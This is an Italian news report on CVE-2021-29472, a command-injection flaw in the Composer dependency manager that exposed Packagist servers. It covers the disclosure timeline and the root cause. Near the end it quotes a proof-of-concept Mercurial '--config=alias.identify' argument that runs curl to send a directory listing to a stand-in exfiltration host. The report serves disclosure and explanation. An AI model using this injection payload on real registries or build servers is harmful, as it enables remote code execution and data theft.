Vulnerabilità nel gestore pacchetti Composer che consente di compromettere il repository PHP Packagist

È stata identificata una vulnerabilità critica (CVE-2021-29472) nel gestore delle dipendenze di Composer che consente l'esecuzione di comandi arbitrari sul sistema durante l'elaborazione di un pacchetto con un valore URL appositamente formattato che specifica l'indirizzo per il download del codice sorgente. Il problema si verifica nei componenti GitDriver, SvnDriver e HgDriver utilizzati quando si utilizzano i sistemi di controllo del codice sorgente Git, Subversion e Mercurial. La vulnerabilità è stata risolta nelle versioni Composer 1.10.22 e 2.0.13.

Si noti specificamente che il problema ha interessato principalmente il repository di pacchetti predefinito di Composer, Packagist, che contiene 306 pacchetti per sviluppatori PHP e serve oltre 1.4 miliardi di download al mese. L'esperimento ha dimostrato che se si fosse a conoscenza del problema, gli aggressori potrebbero prendere il controllo dell'infrastruttura Packagist e intercettare le credenziali dei manutentori o reindirizzare i download dei pacchetti su un server di terze parti, organizzando la consegna di varianti dei pacchetti con modifiche dannose per sostituire una backdoor durante il processo di installazione delle dipendenze.

Il pericolo per gli utenti finali è limitato al fatto che il contenuto di composite.json è solitamente determinato dall'utente e che i collegamenti sorgente vengono trasmessi quando si accede a repository di terze parti, che di solito sono affidabili. Il colpo principale è caduto sul repository Packagist.org e sul servizio Private Packagist, che ha chiamato Composer con il trasferimento dei dati ricevuti dagli utenti. Gli aggressori potrebbero eseguire il proprio codice sui server Packagist inserendo un pacchetto appositamente progettato.

Il team Packagist ha risolto la vulnerabilità entro 12 ore dalla segnalazione della vulnerabilità. I ricercatori hanno informato privatamente gli sviluppatori di Packagist il 22 aprile e il problema è stato risolto lo stesso giorno. Un aggiornamento pubblico di Composer che risolve la vulnerabilità è stato pubblicato il 27 aprile, i cui dettagli sono stati rivelati il ​​28 aprile. Un controllo dei log sui server Packagist non ha rivelato alcuna attività sospetta correlata alla vulnerabilità.

Il problema è causato da un bug nel codice di convalida dell'URL nel file root compositer.json e nei collegamenti di download dell'origine. L'errore è presente nel codice da novembre 2011. Packagist utilizza livelli speciali per organizzare il caricamento del codice senza essere vincolati a uno specifico sistema di controllo del codice sorgente, che vengono eseguiti chiamando "fromShellCommandline" e passando argomenti della riga di comando. Ad esempio, per git, viene chiamato il comando "git ls-remote -heads $URL", dove l'URL viene elaborato utilizzando il metodo "ProcessExecutor::escape($url)", evitando costrutti potenzialmente pericolosi come "$(. ..)" oppure "`...`".

Il nocciolo del problema è che il metodo ProcessExecutor::escape non è sfuggito alla sequenza "-", che consentiva di specificare qualsiasi parametro di chiamata aggiuntivo nell'URL. Tale escape mancava nei driver GitDriver.php, SvnDriver.php e HgDriver.php. L'attacco GitDriver.php è stato ostacolato dal fatto che il comando "git ls-remote" non supportava la specifica di argomenti aggiuntivi dopo il percorso. Un attacco a HgDriver.php si è rivelato possibile passando il parametro “--config” all'utility “hq”, che consente di organizzare l'esecuzione di qualsiasi comando manipolando l'impostazione “alias.identify”. Ad esempio, per scaricare ed eseguire codice eseguendo l'utilità curl, è possibile specificare: —config=alias.identify=!curl http://exfiltration-host.tld —data “$(ls -alh)”

Pubblicando un pacchetto di prova con un URL simile su Packagist, i ricercatori hanno verificato che dopo la pubblicazione, il loro server ha ricevuto una richiesta HTTP da uno dei server Packagist in AWS contenente un elenco di file nella directory corrente.

Fonte: opennet.ru

Aggiungi un commento